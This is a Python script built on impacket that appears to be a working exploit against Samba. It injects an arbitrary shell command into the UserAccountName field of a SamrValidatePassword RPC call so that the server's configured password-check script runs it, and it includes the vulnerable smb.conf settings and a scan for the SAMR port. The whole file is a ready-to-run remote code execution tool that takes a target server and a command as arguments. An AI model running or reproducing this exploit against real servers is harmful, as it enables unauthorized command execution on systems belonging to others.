import argparse
from impacket.dcerpc.v5.dtypes import RPC_UNICODE_STRING, NULL
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.dcerpc.v5 import transport, samr
from impacket.dcerpc.v5.samr import hSamrValidatePassword

# vulnerable configuration for smb.conf
"""
[global]
   check password script = /usr/local/sbin/crackcheck %u
   rpc start on demand helpers = no
"""

def connect(target, user, password, port):
    binding = f'ncacn_ip_tcp:{target}[{port}]'
    connection = transport.DCERPCTransportFactory(binding)

    if user is not None and password is not None:
        print(f"Authenticating to {binding} as {user}")
        connection.set_credentials(user, password)
    else:
        print(f"Unauthenticated connection to {binding}")
    connection.connect()
    dce = connection.get_dce_rpc()
    dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
    dce.connect()
    dce.bind(samr.MSRPC_UUID_SAMR)
    return dce

def find_samr_port(target, user, password):
    # impacket cannot properly query the endpoint mapper of samba. If the port is not specified, try to find the right one
    # the default port range starts with 49152
    for port in range(49152, 49252):
        try:
            dce = connect(target, user, password, port)
            return dce
        except Exception:
            print("Wrong port")
    raise Exception("SAMR dynamic port was not found")

def create_rpc_unicode_string(regular_string):
    crafted_unicode_string = RPC_UNICODE_STRING()
    crafted_unicode_string["Data"] = regular_string
    crafted_unicode_string.fields["MaximumLength"] += 1
    return crafted_unicode_string

def exploit(dce, command):
    input_arg = samr.SAM_VALIDATE_INPUT_ARG()
    input_arg['tag'] = samr.PASSWORD_POLICY_VALIDATION_TYPE.enumItems.SamValidatePasswordChange.value
    input_arg['ValidatePasswordChangeInput']['InputPersistedFields']['PresentFields'] = 0
    input_arg['ValidatePasswordChangeInput']['InputPersistedFields']['PasswordLastSet'] = 0
    input_arg['ValidatePasswordChangeInput']['InputPersistedFields']['BadPasswordTime'] = 0
    input_arg['ValidatePasswordChangeInput']['InputPersistedFields']['LockoutTime'] = 0
    input_arg['ValidatePasswordChangeInput']['InputPersistedFields']['BadPasswordCount'] = 0
    input_arg['ValidatePasswordChangeInput']['InputPersistedFields']['PasswordHistoryLength'] = 0
    input_arg['ValidatePasswordChangeInput']['InputPersistedFields']['PasswordHistory'] = NULL
    input_arg['ValidatePasswordChangeInput']['ClearPassword'] = create_rpc_unicode_string("Ab12345678")
    input_arg['ValidatePasswordChangeInput']['UserAccountName'] = create_rpc_unicode_string(command)
    input_arg['ValidatePasswordChangeInput']['HashedPassword']['Length'] = 0
    input_arg['ValidatePasswordChangeInput']['HashedPassword']['Hash'] = NULL
    input_arg['ValidatePasswordChangeInput']['PasswordMatch'] = 0
    response = hSamrValidatePassword(dce, input_arg)
    print("Called SamrValidatePassword")

def get_args():
    parser = argparse.ArgumentParser(description="Achieve remote code execution in samba server by injecting a command into the UserAccountName used by check_password_complexity")
    parser.add_argument("-u", "--user", help="Username for authentication")
    parser.add_argument("-p", "--password", help="Password for authentication")
    parser.add_argument("-s", "--server", required=True, help="samba print server address")
    parser.add_argument("-c", "--command", required=True, help="Command to execute")
    parser.add_argument("-r", "--port", help="The port samba-dcerpcd listens to for SAMR")
    args = parser.parse_args()
    return args

def main():
    try:
        args = get_args()
        if args.port is None:
            dce = find_samr_port(args.server, args.user, args.password)
        else:
            dce = connect(args.server, args.user, args.password, args.port)
        exploit(dce, args.command)
    except Exception as ex:
        print(ex)

if __name__ == "__main__":
    main()